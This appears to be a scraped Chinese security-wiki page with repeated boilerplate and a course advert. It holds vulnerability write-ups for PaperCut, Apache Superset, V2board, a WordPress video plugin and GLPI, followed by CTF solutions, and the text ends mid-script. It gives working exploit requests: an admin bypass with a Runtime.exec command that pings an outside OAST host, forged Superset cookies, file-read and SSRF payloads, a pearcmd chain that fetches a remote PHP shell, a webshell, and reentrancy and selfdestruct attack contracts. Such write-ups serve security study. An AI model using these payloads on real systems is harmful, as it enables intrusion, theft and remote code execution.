近期更新

https://github.com/PeiQi0/PeiQi-WIKI-Book

关注公众号

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～

支持作者

关于文库

在线文库: https://wiki.peiqi.tech (暂时关闭个人用户使用)
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

近期更新

https://github.com/PeiQi0/PeiQi-WIKI-Book

关注公众号

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～

支持作者

关于文库

在线文库: https://wiki.peiqi.tech (暂时关闭个人用户使用)
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

近期更新

https://github.com/PeiQi0/PeiQi-WIKI-Book

关注公众号

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～

支持作者

关于文库

在线文库: https://wiki.peiqi.tech (暂时关闭个人用户使用)
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

近期更新

https://github.com/PeiQi0/PeiQi-WIKI-Book

关注公众号

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～

支持作者

关于文库

在线文库: https://wiki.peiqi.tech (暂时关闭个人用户使用)
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

近期更新

https://github.com/PeiQi0/PeiQi-WIKI-Book

关注公众号

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～

支持作者

关于文库

在线文库: https://wiki.peiqi.tech (暂时关闭个人用户使用)
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

近期更新

https://github.com/PeiQi0/PeiQi-WIKI-Book

关注公众号

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～

课程大纲

一次付费永久学习

目前课程报名为一次付费加入永久学习，加入第一期后后续所有课程就都可以免费学啦，价格目前是 3288~, 想要加入的小伙伴扫描海报二维码

关于课程

代码审计课程中，一共十四期挖掘思路，主要挖掘目标为各类安全设备以及边界设备等等，通过课程可以充分的了解到设备的常见漏洞出现点和漏洞发生逻辑，从逻辑出发挖掘功能点

课程还额外包含了近期爆发高危漏洞的代码分析，贴近近期攻防漏洞

每周 2 ～ 3 节课 中插入 1 节来自 北山安全的 SRC 课程，在学习代码审计的同时了解企业常见漏洞和掌握SRC漏洞挖掘技巧，当然，代码审计中我们也不单单的局限于复杂的代码中，而是精确定位逻辑，找出薄弱点，通过思路快速挖掘漏洞

SRC课程讲师是来自于北山安全学院的 北山师傅 (百度SRC 2022年榜第八) 和 陈广师傅 (TSRC 2022年榜第二)

下图分别为北山师傅和陈广师傅的SRC战绩～

课程大纲

关于课程

代码审计课程中，一共十四期挖掘思路，主要挖掘目标为各类安全设备以及边界设备等等，通过课程可以充分的了解到设备的常见漏洞出现点和漏洞发生逻辑，从逻辑出发挖掘功能点

课程还额外包含了近期爆发高危漏洞的代码分析，贴近近期攻防漏洞

每周 2 ～ 3 节课 中插入 1 节来自 北山安全的 SRC 课程，在学习代码审计的同时了解企业常见漏洞和掌握SRC漏洞挖掘技巧，当然，代码审计中我们也不单单的局限于复杂的代码中，而是精确定位逻辑，找出薄弱点，通过思路快速挖掘漏洞

SRC课程讲师是来自于北山安全学院的 北山师傅 (百度SRC 2022年榜第八) 和 陈广师傅 (TSRC 2022年榜第二)

下图分别为北山师傅和陈广师傅的SRC战绩～

一次付费永久学习

目前课程报名为一次付费加入永久学习，加入第一期后后续所有课程就都可以免费学啦～

第一次课程安排在7月份，详细信息扫描海报二维码咨询

漏洞描述

PaperCut MF NG 中 SetupCompleted接口中存在未授权访问漏洞，攻击者通过漏洞可以获取后台管理员权限，通过配置脚本JAVA扩展类，可以达到远程命令执行控制服务器

漏洞影响

PaperCut MF PaperCut NG

网络测绘

"papercut"

漏洞复现

登陆页面

反编译 pcng-server-web-22.0.4.jar，可以看到登陆时验证方法位于

biz/papercut/pcng/web/pages/Home.class

其中含有 Google microsoft 等多种方法登陆，统一使用 performLogin 方法进行用户权限验证

public Boolean performLogin(String username, @Nullable LoginType preferredLoginType, boolean sso) {
        return (Boolean)this.transactionHelper.runInTransaction(() -> {
            LoginType loginType = this.deriveLoginType(username, preferredLoginType);
            if (loginType != null) {
                AccessRightList accessRights = this.authenticationManager.getUserRights(username);
                accessRights = this.deriveAccessRights(loginType, accessRights);
                return this.loginUser(username, accessRights, loginType, sso);
            } else {
                this.applicationLogManager.logWarn(this.getClass(), "Home.UserLoginFailureUnknownUser", new String[]{username});
                this.setErrorMessage(this.getMessage("LOGIN_DENIED_UNKNOWN_USER"));
                return false;
            }
        });
    }

最后走到 loginUser方法中，根据用户登陆权限重定向到用户页面

漏洞出现在用户设备配置页面处，其中可以看到调用的方法也是 performLogin

public void formSubmit(IRequestCycle cycle) {
        SetupData setupData = this.getSetupData();
        this.getAnalyticsConfigurationService().setEnabled(this.isAnalyticsEnabled());
        this.getAnalyticsConfigurationService().adminNotified();
        this.clearSetupData();
        Home homePage = (Home)cycle.getPage("Home");
        homePage.setJavaScriptEnabled(this.isJavaScriptEnabled());
        homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, false);
    }

biz/papercut/pcng/web/setup/SetupCompleted.class

主要注意这一部分代码的参数, 代表登陆的权限

homePage.performLogin(setupData.getAdminUserName(), LoginType.Admin, false);
private String _adminUserName = "admin";
public String getAdminUserName() {
        return this._adminUserName;
    }

这里固定的登陆权限为 Admin管理员权限，通过调用这个方法就可以获取管理员的后台权限

/app?service=page/SetupCompleted

POST /app
Cookie: JSESSIONID=xxx
service=direct/1/SetupCompleted/$Form&sp=S0&Form0=$Hidden,analyticsEnabled,$Submit&$Hidden=true&$Submit=登录

发送请求后就会302跳转到管理员用户页面，对应的请求调用页面也就是第一次配置的请求页面，点击登陆提交请求就可以通过调用方法 performLogin 以管理员权限登陆

在后台中存在脚本调用方法，根据官网配置打开扩展的 Java 类

https://www.papercut.com/kb/Main/EnablingPrintScriptingDeviceScripting#using-extended-java-classes-in-scripts

再通过打印机的脚本编写就可以达到组合RCE

function printJobHook(inputs, actions) {}
java.lang.Runtime.getRuntime().exec('cmd.exe /C ping %USERNAME%.cgvpkz72vtc0000ge0eggep5j9oyyyyyb.oast.fun');

关注公众号

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～

关于文库

在线文库: https://wiki.peiqi.tech (暂时关闭个人用户使用)
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

文库动态

漏洞描述

Apache Superset 是一款现代化的开源大数据工具，也是企业级商业智能 Web 应用，用于数据探索分析和数据可视化。它提供了简单易用的无代码可视化构建器和声称是最先进的 SQL 编辑器，用户可以使用这些工具快速地构建数据仪表盘。CVE-2023-27524 中，未经授权的攻击者可根据默认配置的SECRET_KEY伪造成管理员用户访问Apache Superset。

漏洞影响

Apache Superse <= 2.0.1

网络测绘

app.name="Apache Superset"

漏洞复现

登陆页面

漏洞修复补丁

https://github.com/apache/superset/pull/23186/files

补丁代码中，新建了判断用户是否使用了默认的Key进行配置，如果为默认的Key，就直接中断启动,。但在 Docker的 env 下还是添加了固定的 Key: TEST_NON_DEV_SECRET

# https://github.com/horizon3ai/CVE-2023-27524/blob/main/CVE-2023-27524.py
SECRET_KEYS = [
    b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1
    b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1
    b'thisISaSECRET_1234',                            # deployment template
    b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentation
    b'TEST_NON_DEV_SECRET'                            # docker compose
]

这里拿Docker下的环境举例

初次请求时会获取到 Cookie, 使用默认Key验证 Cookie是否可被伪造

登陆主页面观察主要参数

通过设置参数 user_id 和 _user_id 为 1 ,构造加密Cookie

>>> from flask_unsign import session
>>> session.sign({'_user_id': 1, 'user_id': 1},'TEST_NON_DEV_SECRET')
'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZE51uw.EdD7zSzojgY4keqZLOKR4GndJf8'

利用构造的 Cookie就可以获取到 Web后台管理权限, 后台中存在数据库语句执行模块，通过设置允许执行其他数据库语句后利用数据库语句 RCE

关注公众号

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～

支持作者

关于文库

在线文库: https://wiki.peiqi.tech (暂时关闭个人用户使用)
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

文库动态

漏洞描述

V2board面板 Admin.php 存在越权访问漏洞，由于部分鉴权代码于v1.6.1版本进行了修改，鉴权方式变为从Redis中获取缓存判定是否存在可以调用接口，导致任意用户都可以调用管理员权限的接口获取后台权限

漏洞影响

V2Board v1.6.1

网络测绘

title="V2Board"

漏洞复现

对比代码更新部分

与之前的代码相比较，鉴权在 v1.6.1 版本可以通过 auth_data 或 authorizetion 字段来实现验证

<?php
namespace App\Http\Middleware;
use Closure;
use Illuminate\Support\Facades\Cache;
class Admin
{
  /**
* Handle an incoming request.
*
* @param \Illuminate\Http\Request $request
* @param \Closure $next
* @return mixed
*/
  public function handle($request, Closure $next)
  {
    $authorization = $request->input('auth_data') ?? $request->header('authorization');
    if (!$authorization) abort(403, '未登录或登陆已过期');
    $authData = explode(':', base64_decode($authorization));
    if (!Cache::has($authorization)) {
      if (!isset($authData[1]) || !isset($authData[0])) abort(403, '鉴权失败，请重新登入');
      $user = \App\Models\User::where('password', $authData[1])
        ->where('email', $authData[0])
        ->select([
                 'id',
                 'email',
                 'is_admin',
                 'is_staff'
                 ])
        ->first();
      if (!$user) abort(403, '鉴权失败，请重新登入');
      if (!$user->is_admin) abort(403, '鉴权失败，请重新登入');
      Cache::put($authorization, $user->toArray(), 3600);
    }
    $request->merge([
                    'user' => Cache::get($authorization)
                    ]);
    return $next($request);
  }
}

可以发现主要要通过两次逻辑实现验证，一个是存在 header 中的 authorization 参数，再一个是校验 authorizations 是否存在于 Redis缓存中的

在登陆验证的代码中，成功使用 email 和 password 登陆后会返回 token 和 auth_data

同时 auth_data 会缓存于 Redis 中

由于 Admin.php 文件中只验证了 authrization 是否在 Redis的缓存中，所以当注册任意一个用户进行登陆后获取到 auth_data 就可以任意调用 管理员的接口

漏洞描述

WordPress All-in-One Video 插件 Gallery video.php文件中存在SSRF以及任意文件读取漏洞，攻击者通过发送特定的请求包读取任意文件

漏洞影响

WordPress All-in-One Video Gallery  <= 2.6.0

插件名

All-in-One Video Gallery
https://downloads.wordpress.org/plugin/all-in-one-video-gallery.2.6.0.zip

漏洞复现

对比漏洞修复的文件找到出现漏洞的文件

wp-content/plugins/all-in-one-video-gallery/public/video.php

这里接收 dl 参数，dl 参数不为 数字类型时，参数将 base64 解码传入

  if ( is_numeric( $_GET['dl'] ) ) {
   $file = get_post_meta( (int) $_GET['dl'], 'mp4', true );
  } else {
   $file = base64_decode( $_GET['dl'] );
  }
  if ( empty( $file ) ) {
   die( esc_html__( 'Download file URL is empty.', 'all-in-one-video-gallery' ) );
            exit;
        }

当传入的参数中不存在 http:// 或 https:// 时，参数 $formatted_path 的值改变

当 $formatted_path 为 url 时存在 SSRF漏洞，传入 base64编码 的目标URL就可以得到回显

/index.php/video/?dl=aHR0cHM6Ly93d3cuYmFpZHUuY29t

看向代码最后的片段，则存在任意文件读取漏洞

/index.php/video/?dl=Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==

关注公众号

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～

支持作者

关于文库

在线文库: http://wiki.peiqi.tech
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

文库动态

漏洞描述

GLPI是一个用于IT资产管理的开源软件,用PHP编写,并在GPL许可下发布。 作为一种开源技术,任何人都可以运行,修改或开发代码。GLPI 10.0.2及之前版本存在安全漏洞，该漏洞源于PHP htmlawed 模块中 允许 PHP 代码注入

漏洞影响

GLPI

漏洞复现

登录页面

出现问题的文件为 htmLawedTest.php， 来源于第三方库 PHP Labware

https://www.bioinformatics.org/phplabware/internal_utilities/htmLawed/

在 htmLawedTest.php 中接收参数并传入方法 htmLawed 中

跟进文件 htmLawed.php

if($C['hook']){$t = $C['hook']($t, $C, $S);}

这里可以看到参数均为用户可控参数，当控制参数 hhook 为 exec 和 text 为执行的命令时就导致了命令执行漏洞

验证POC

/vendor/htmlawed/htmlawed/htmLawedTest.php

访问页面获取到 sid 与 token 后再发送请求包

POST /vendor/htmlawed/htmlawed/htmLawedTest.php HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 88
Content-Type: application/x-www-form-urlencoded
token=a79cf121bde57fe0e3cc0f247f77961a&text=id&hhook=exec&sid=h1c0vk004dvulal5nj8i6en44e

关注公众号

下面就是文库的公众号啦，更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群找WgpsecBot机器人拉你啦～

支持作者

关于文库

在线文库: http://wiki.peiqi.tech
Github: https://github.com/PeiQi0/PeiQi-WIKI-Book 

文库动态

SMART CONTRACTS

Bonjour

部署合约后设置 isSolved 为 true

You Only Have One Chance

合约源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract YouOnlyHaveOneChance {
  uint256 public balanceAmount;
  address public owner;
  uint256 randNonce = 0;
  
  constructor() {
    owner = msg.sender;
    
    balanceAmount =
      uint256(
      keccak256(
        abi.encodePacked(block.timestamp, msg.sender, randNonce)
      )
    ) %
      1337;
  }
  
  function isBig(address _account) public view returns (bool) {
    uint256 size;
    assembly {
      size := extcodesize(_account)
      }
    return size > 0;
  }
  
  function increaseBalance(uint256 _amount) public {
    require(tx.origin != msg.sender);
    require(!isBig(msg.sender), "No Big Objects Allowed.");
    balanceAmount += _amount;
  }
  
  function isSolved() public view returns (bool) {
    return balanceAmount == 1337;
  }
}

需要绕过两个逻辑

require(tx.origin != msg.sender);
require(!isBig(msg.sender), "No Big Objects Allowed.");

部署一个新合约来调用函数就可以做到绕过第一个逻辑，第二个逻辑要使代码区为空，来通过 extcodesize 的检验，但是又必须使用合约调用才能通过第一个逻辑

Note that while the initialisation code is executing, the newly created address exists but with no intrinsic body code.
……
During initialization code execution, EXTCODESIZE on the address should return zero, which is the length of the code of the account while CODESIZE should return the length of the initialization code.

文档中写道，在执行初始化代码（构造函数），而新的区块还未添加到链上的时候，新的地址已经生成，然而代码区为空，此时，调用 EXTCODESIZE() 返回为 0

部署合约第一次 balanceAmout 为 745, 加上 592 即可通过 isSolved() 函数得到 Flag

// SPDX-License-Identifier: MIT
pragma solidity ^0.4.0;
contract YouOnlyHaveOneChance {
    uint256 public balanceAmount;
    address public owner;
    uint256 randNonce = 0;
    constructor() {
        owner = msg.sender;
        balanceAmount =
            uint256(
                keccak256(
                    abi.encodePacked(block.timestamp, msg.sender, randNonce)
                )
            ) %
            1337;
    }
    function isBig(address _account) public view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(_account)
        }
        return size > 0;
    }
    function increaseBalance(uint256 _amount) public {
        require(tx.origin != msg.sender);
        require(!isBig(msg.sender), "No Big Objects Allowed.");
        balanceAmount += _amount;
    }
    function isSolved() public view returns (bool) {
        return balanceAmount == 1337;
    }
}
contract hack {
    
    function hack(address _c) {
        YouOnlyHaveOneChance c = YouOnlyHaveOneChance(_c);
        c.increaseBalance(592);
    }
}

Duper Super Safe Safe

合约源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DuperSuperSafeSafe {
  address public owner;
  mapping(uint => bytes32) private secret_passphrases;
  uint timestamp;
  constructor(bytes32 _secret_passphrase, bytes32 _secret_passphrase_2) payable {
    owner = msg.sender;
    timestamp = block.timestamp;
    secret_passphrases[0] = _secret_passphrase;
    secret_passphrases[1] = _secret_passphrase_2;
  }
  receive() external payable {}
  modifier restricted() {
    require(
      msg.sender == owner,
      "This function is restricted to the contract's owner"
    );
    _;
  }
  modifier passwordProtected(bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp) {
    require(keccak256(abi.encodePacked(secret_passphrases[0], secret_passphrases[1], timestamp)) == keccak256(abi.encodePacked(_secret_passphrase, _secret_passphrase_2, _timestamp)), "Wrong secret passphrase");
    _;
  }
  function changeOwner(address _newOwner) public {
    if (tx.origin != msg.sender) {
      owner = _newOwner;
    }
  }
  function changeSecretPassphrase(bytes32 _new_secret_passphrase, bytes32 _new_secret_passphrase_2, bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp) public restricted passwordProtected(_secret_passphrase, _secret_passphrase_2, _timestamp) {
    secret_passphrases[0] = _new_secret_passphrase;
    secret_passphrases[1] = _new_secret_passphrase_2;
    timestamp = block.timestamp;
  }
  function withdrawFunds(uint _amount, bytes32 _secret_passphrase, bytes32 _secret_passphrase_2, uint _timestamp) external payable restricted passwordProtected(_secret_passphrase, _secret_passphrase_2, _timestamp) {
    require(balanceOf(msg.sender) >= _amount, "Not enough funds");
    payable(address(msg.sender)).transfer(_amount);
  }
  function balanceOf(address _addr) public view returns (uint balance) {
    return address(_addr).balance;
  }
  function isSolved() public view returns (bool) {
    return balanceOf(address(this)) == 0;
  }
}
contract HostileTakeover {
    function changeOwner(address payable target, address newOwner) public {
      DuperSuperSafeSafe(target).changeOwner(newOwner);
    }
}

首先第一步需要获得 Owner权限

modifier restricted() {
    require(
      msg.sender == owner,
      "This function is restricted to the contract's owner"
    );
    _;
  }

关注这几行代码, 通过合约调用时可以获取 Owner权限

function changeOwner(address _newOwner) public {
    if (tx.origin != msg.sender) {
      owner = _newOwner;
    }
  }

题目要求为转移出合约中的所有资金，需要调用函数 withdrawFunds ，调用所需参数有 两个部署时的密码和 timestamp 来通过函数  changeSecretPassphrase 的验证， 测试部署使用密码 0xaa.... 和 0xbb....

产生 transaction hash, 编写 js 脚本查看信息

而部署题目时，我们也有交易Hash，可以通过这个信息获取到 两个密钥和  timestamp

获取后再通过编写合约脚本调用函数 changeOwner 得到 Owner权限，通过 函数 withdrawFunds 清空合约资金

通过得到的密码和 timestamp 转移资金

Forensic

Sniffed Traffic

扔进wireshark发现可疑文件

导出后提示需要密码，tcp contains "password"找到密码 在解压后的文件中发现压缩包，解压需要密码

上工具爆破，秒开

Web

Sourceless Guessy Web (Baby Flag)

直接读取 /etc/passwd

Super Secure Requests Forwarder (SSRF)

利用 dns rebinding 在ceye.io 设置下

Flag Portal (Flag 1)

对目标发送一个请求

双写/绕过

http://flagportal.chall.seetf.sg:10001//admin?backend=http://testctf.wgpsec.org
<?php
  var_dump($_POST);
  var_dump($_SERVER);
?>

Flag Portal (Flag 2)

继续双写绕过

根据上一题拿出来KEY

<?php
$f = fopen("test.txt", "w");
$text = $_POST["flag"];
fwrite($f, $text);
?>

Sourceless Guessy Web (RCE Flag)

看到提示联想到 pearcmd

view-source:http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../../usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://testctf.wgpsec.org/s.php
//先是 ls / 发现一个readflag 的二进制文件
<?php system("/readflag")?>

view-source:http://sourcelessguessyweb.chall.seetf.sg:1337/?page=../../../../tmp/tmp/pear/download/s.php

PWN

4mats

leak libc_base 查 libc

https://mirror.umd.edu/ubuntu/ubuntu/pool/main/g/glibc/

from pwn import *
from ctypes import *
from time import *
context.log_level = 'debug'
p = process('./testpwn')
if args.R:
    p = remote('fun.chall.seetf.sg',50001)
e = ELF('./testpwn')
libc = cdll.LoadLibrary('libc-2.23.so')
libc.srand(int(time()))
v8 = libc.random() % 1000000
p.sendlineafter('register:','1')
p.sendlineafter('Do I know you?','1')
print v8
p.sendlineafter('number!',str(v8))
p.interactive()

wayyang.py

py2input的洞

OSINT

Batnet 1

https://github.com/sherlock-project/sherlock

Misc

Join our Discord

Regex101

SEE{[A-Z]{5}[0-9]{5}[A-Z]{6}

Angry Zeyu2001

扔进ps拼图

Survey

Crypto

Close Enough

import libnum
import gmpy2
from Crypto.PublicKey import RSA
def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x
def fermat(n, verbose=True):
    a = isqrt(n)  # int(ceil(n**0.5))
    b2 = a * a - n
    b = isqrt(n)  # int(b2**0.5)
    count = 0
    while b * b != b2:
        # if verbose:
        #     print('Trying: a=%s b2=%s b=%s' % (a, b2, b))
        a = a + 1
        b2 = a * a - n
        b = isqrt(b2)  # int(b2**0.5)
        count += 1
    p = a + b
    q = a - b
    assert n == p * q
    # print('a=',a)
    # print('b=',b)
    # print('p=',p)
    # print('q=',q)
    # print('pq=',p*q)
    return p, q
with open("pubckey1.pem", "rb") as f:
    key = RSA.import_key(f.read())
    n = key.n
    e = key.e
# 费马分解,
c = 4881495507745813082308282986718149515999022572229780274224400469722585868147852608187509420010185039618775981404400401792885121498931245511345550975906095728230775307758109150488484338848321930294974674504775451613333664851564381516108124030753196722125755223318280818682830523620259537479611172718588812979116127220273108594966911232629219195957347063537672749158765130948724281974252007489981278474243333628204092770981850816536671234821284093955702677837464584916991535090769911997642606614464990834915992346639919961494157328623213393722370119570740146804362651976343633725091450303521253550650219753876236656017
n1 = fermat(n)
p = n1[0]
q = n1[1]
phi_n=(p-1)*(q-1)
d=gmpy2.invert(e,phi_n)
m=pow(c,d,n)
print(m)
print(libnum.n2s(int(m)).decode())

Web3

The nuke auction

部署合约后查看源码

pragma solidity ^0.8.13;
/*
    Ok so i met this guy, he's got a nuke and he wants to sell it to the highest bidder.
    So I made it possible to buy it there !
*/
contract NukeAuction 
{
    uint public maxAmount = 10 ether;
    address public winner;
    function deposit() public payable 
    {
        require(msg.value == 1 ether, "You can only send 1 Ether");
        uint balance = address(this).balance;
        require(balance <= maxAmount, "Auction is over");
        if (balance == maxAmount) 
        {
            winner = msg.sender;
        }
    }
    function claimAuction() public 
    {
        require(msg.sender == winner, "Not winner");
        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
    function isAuctionSane() external view returns (bool)
    {
        return (address(this).balance < 10 ether);
    }
        // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) 
    {
        return address(this).balance;
    }
}

根据题目提示，其中存在一个拍卖逻辑，每次只能存入 1 ETH 代币，当 达到 10 ETH 代币时，将可以购买商品，而题目要求阻止拍卖，我们可以通过  selfdestruct() 函数强制打入代币，使合约内得到的代币数量大于 10, 使合约瘫痪

pragma solidity ^0.8.13;
/*
    Ok so i met this guy, he's got a nuke and he wants to sell it to the highest bidder.
    So I made it possible to buy it there !
*/
contract NukeAuction 
{
    uint public maxAmount = 10 ether;
    address public winner;
    function deposit() public payable 
    {
        require(msg.value == 1 ether, "You can only send 1 Ether");
        uint balance = address(this).balance;
        require(balance <= maxAmount, "Auction is over");
        if (balance == maxAmount) 
        {
            winner = msg.sender;
        }
    }
    function claimAuction() public 
    {
        require(msg.sender == winner, "Not winner");
        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
    function isAuctionSane() external view returns (bool)
    {
        return (address(this).balance < 10 ether);
    }
        // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) 
    {
        return address(this).balance;
    }
}
contract Attack is NukeAuction {
    NukeAuction  etherGame;
    constructor(NukeAuction  _etherGame) {
        etherGame = NukeAuction(_etherGame);
    }
    function attack() public payable {
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

正常存入 10 代币，最后利用 selfdestruct 函数强制打入 1 代币造成合约崩溃

Let's introduce ourselves

部署合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
// @dev : iHuggsy
contract Introduction
{
    
    
    /**
        Before going into the source code, make sure you visited http://blockchain.heroctf.fr:22000/help if you need it !
        THERE IS ONE (1) RULE :
            - The whole node system and mining system (and machines that are part of this system) 
              does not belong to ANY of the challenges, any attempt to use them in a 
              way that is not considered normal in a blockchain environment, pentest them 
              or even scan them WILL result in a ban of your entire team without any notice.
        By interacting with the `accept_rules` function that follows, you are signing a contract 
        that you agree with the rule.
        (Even if you don't interact with it, you agree to it lol)
        Have a good one !
        If you run into any problem, feel free to DM me on the Discord 
        @dev : iHuggsy
    **/
    bytes32 flags;
    mapping (address => bool) accepted_rules;
    constructor (bytes32 _flagz)
    {
        flags = _flagz;
    }
    function get_flag_part_one() external view returns (bytes32)
    {
        require(accepted_rules[msg.sender] == true);
        return flags;
    }
    function accept_rules() external
    {
        accepted_rules[msg.sender] = true;
    }
}

首先调用 accept_rules() 方法将 accepted_rules[msg.sender] 设置为 true, 再调用 get_flag_part_one() 方法获取 byte32格式的 Flag, 编写一个函数转换为 String 格式获取可提交的 Flag

pragma solidity ^0.4.4;
contract Attack {
    
    bytes32 public x = 0x4865726f7b57336c43306d655f325f48337230436834316e5f5740674d317d00;
    
    function bytes32ToString(bytes32 x) external view returns(string){
        bytes memory bytesString = new bytes(32);
        uint charCount = 0 ;
        for(uint j = 0 ; j<32;j++){
            byte char = byte(bytes32(uint(x) *2 **(8*j)));
            if(char !=0){
                bytesString[charCount] = char;
                charCount++;
            }
        }
        bytes memory bytesStringTrimmed = new bytes(charCount);
        for(j=0;j<charCount;j++){
            bytesStringTrimmed[j]=bytesString[j];
        }
        return string(bytesStringTrimmed);
    }
    
}

Ready to hack

部署合约，题目提示需要将目标合约的代币清空

源码

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
/*
    This contract implements "WMEL" (Wrapped MEL). You get an ERC20 version of Melcoin where 1WMEL == 1MEL at all times.
    This is a beta version !
*/
// @dev : iHuggsy
contract WMEL
{
    mapping(address => uint) public balances;
    constructor () payable {}
    function deposit() external payable 
    {
        balances[msg.sender] += msg.value;
    }
    function withdraw() public 
    {
        uint bal = balances[msg.sender];
        require(bal > 0);
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
        balances[msg.sender] = 0;
    }
    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) 
    {
        return address(this).balance;
    }
}

关注到其中一行代码

(bool sent, ) = msg.sender.call{value: bal}("");

这里存在重入漏洞，当提取时会触发 fallback 函数，编写一个攻击合约，逻辑为当目标中存在 >= 1 HERO 时，一直调用 withdraw 函数进行提取

contract Attack {
    WMEL public etherStore;
    constructor(address _etherStoreAddress) {
        etherStore = WMEL(_etherStoreAddress);
    }
    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }
    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw(); // go to fallback
    }
    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

当调用 attack 函数时，就会通过 fallback 函数清空所有合约代币

System

undercover#1

创建环境登陆  user1， 存在 suid 为 user2 的文件 hmmm, 下载下来分析

可以通过创建 WTFFFFF 文件为 shell脚本，来通过 hmmm 中的 system函数执行获取 user2权限

在通过sudo -l 找到 root权限无需密码的可执行文件获取shell

undercover#2

创建环境后登陆 user1 用户

可以看到是 dev 用户启动的 Web服务，在Web目录中写一个 Webshell

user1@38b224da61ad:/var/www/html$ rm -rf index.php
user1@38b224da61ad:/var/www/html$ echo '<?php system("whoami");?>' > index.php;chmod 777 index.php
user1@38b224da61ad:/var/www/html$ curl http://127.0.0.1/index.php 
dev
user1@38b224da61ad:/var/www/html$ 

已经获取到 dev 的权限, sudo -l 权限是 ALL

Prog

Heist

查看 chall.py 源码

#! /usr/bin/python3
import os
class account:
    def __init__(self, amount, user):
        self.balance = amount
        self.user = user
    def wireMoney(self, amount, receiver):
        if amount > self.balance:
            print("[!] DEBUG MESSAGE : You don't have enough money on your account to make this transfer")
            return False
        else:
            self.balance -= amount
            receiver.balance += amount
            return True
    def printBalance(self):
        print(f"{self.user} has {self.balance} on his account")
FLAG = open("./flag.txt", "r").read()
def clear():
    os.system('cls' if os.name == 'nt' else 'clear')```
# Creating the two accounts
ctf_player = account(10, "ctf_player")
BANK = account(100, "Bank")
# Main loop
menu = "dashboard"
clear()
while menu != "quit":
    if menu == "dashboard":
        print("=== Dashboard ===")
        print()
        print("Welcome to your HeroBank dashboard ! ")
        print("From here, you can choose to wire money to another account, or to buy some premium features on the HeroStore.")
        print()
        print(f"You currently have {ctf_player.balance}$ on your account")
        print("Choose an option :")
        print("1 - HeroStore")
        print("2 - Transfer money")
        print("3 - Quit")
        option = 0
        try:
            option = int(input(">> "))
            if option == 1:
                menu = "store"
            elif option == 2:
                menu = "transfer"
            elif option == 3:
                menu = "quit"
            else:
                1/0
        except:
            print("An error has occured, enter only 1,2 or 3")
            input("Press enter to continue...")
        clear()
    elif menu == "store":
        print("=== HeroStore ===")
        print()
        print("Welcome to the HeroStore !")
        print("Here you can buy all sorts of things. Sadly, our stocks suffered from our success, and only one item remains. It's therefore pretty expensive.")
        print()
        print("Choose an option :")
        print("1 - Fl4g (100$)")
        print("2 - Back to Dashboard")
        option = 0
        try:
            option = int(input(">> "))
            if option == 1:
                if ctf_player.balance >= 100:
                    print(f"Congratz ! Here is your item : {FLAG}")
                    input("Press enter to continue...")
                    menu = "quit"
                else:
                    print()
                    print("Sorry, but you need more money to make that purchase...")
                    input("Press enter to continue...")
                    menu = "store"
            elif option == 2:
